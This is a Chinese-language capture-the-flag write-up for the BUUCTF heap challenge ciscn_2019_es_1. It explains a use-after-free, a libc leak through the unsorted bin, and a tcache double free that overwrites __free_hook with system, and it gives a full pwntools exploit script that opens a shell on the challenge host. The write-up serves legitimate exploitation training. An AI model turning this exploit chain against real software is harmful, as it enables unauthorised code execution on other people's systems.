ciscn_2019_es_1

【BUUCTF】刷题:ciscn_2019_es_1

学习与收获

  1. 泄漏 libc 地址的一个方法:unsortedbin 中的 main_arena 是一个 libc 地址,再利用 uaf 漏洞,可能可以泄漏 libc 地址。
  2. unsortedbin_chunk 必须大于 0x400

代码审计

程序实现了 add , show , delete 3个功能,有 uaf 漏洞。

call

1

add 一次创建 2chunk0x20 sizecompary_chunk,自定义 sizename_chunk0ffset_0x4080 处存储着 compary_chunk 的地址,compary_chunk 存储着 name_chunk

2

delete 一次,会 freename_chunkname_chunk 并未置零,因此对 name_chunkuaf 漏洞。

3

思路

泄漏 libc

如果我们释放一个 name_chunkunsortedbin 中,那么该 unsortedbin_chunkfdbk 都是一个 libc 地址。又因为 uaf 漏洞,我们 show 的时候,依然会输出上面 name_chunkuser_data ,故会打印出 libc 地址。

add(0x410,b'a'*8,b'A')
add(0x20,b'b'*8,b'B')
add(0x20,b'c'*8,b'C')
add(0x20,b'/bin/sh\x00',b'D')
delete(0)
show(0)
p.recvuntil("name:\n")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3ebca0
log_addr("libc_base")

覆盖 __free_hook

uaf 漏洞,程序可以多次同一个 chunk2.27 版本及以后的版本,free 掉的 chunk 会被先放进 tcache 而非 fastbintcache 并无检查 double free 的机制,直接利用 double free 覆盖 __free_hooksystem 的地址即可。

delete(1)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x20,p64(free_hook),b'A')
add(0x20,b'd'*8,b'A')
add(0x20,p64(system),b'A')

exp

from tools import *
context.log_level="debug"
# p,elf,libc = load("a")
p = remote("node5.buuoj.cn",25834)
debug(p,'pie',0x1668,0x1674,0x1680)
libc = ELF('./libc-2.27.so')

def add(size,name,compary):
p.sendlineafter("choice:",str(1))
p.sendlineafter("Please input the size of compary's name\n",str(size))
p.sendafter("please input name:\n",name)
p.sendafter("please input compary call:\n",compary)
def show(index):
p.sendlineafter("choice:",str(2))
p.sendlineafter("Please input the index:\n",str(index))
def delete(index):
p.sendlineafter("choice:",str(3))
p.sendlineafter("Please input the index:\n",str(index))

add(0x410,b'a'*8,b'A')
add(0x20,b'b'*8,b'B')
add(0x20,b'c'*8,b'C')
add(0x20,b'/bin/sh\x00',b'D')
delete(0)
show(0)
p.recvuntil("name:\n")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3ebca0
log_addr("libc_base")

delete(1)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x20,p64(free_hook),b'A')
add(0x20,b'd'*8,b'A')
add(0x20,p64(system),b'A')
delete(3)

p.interactive()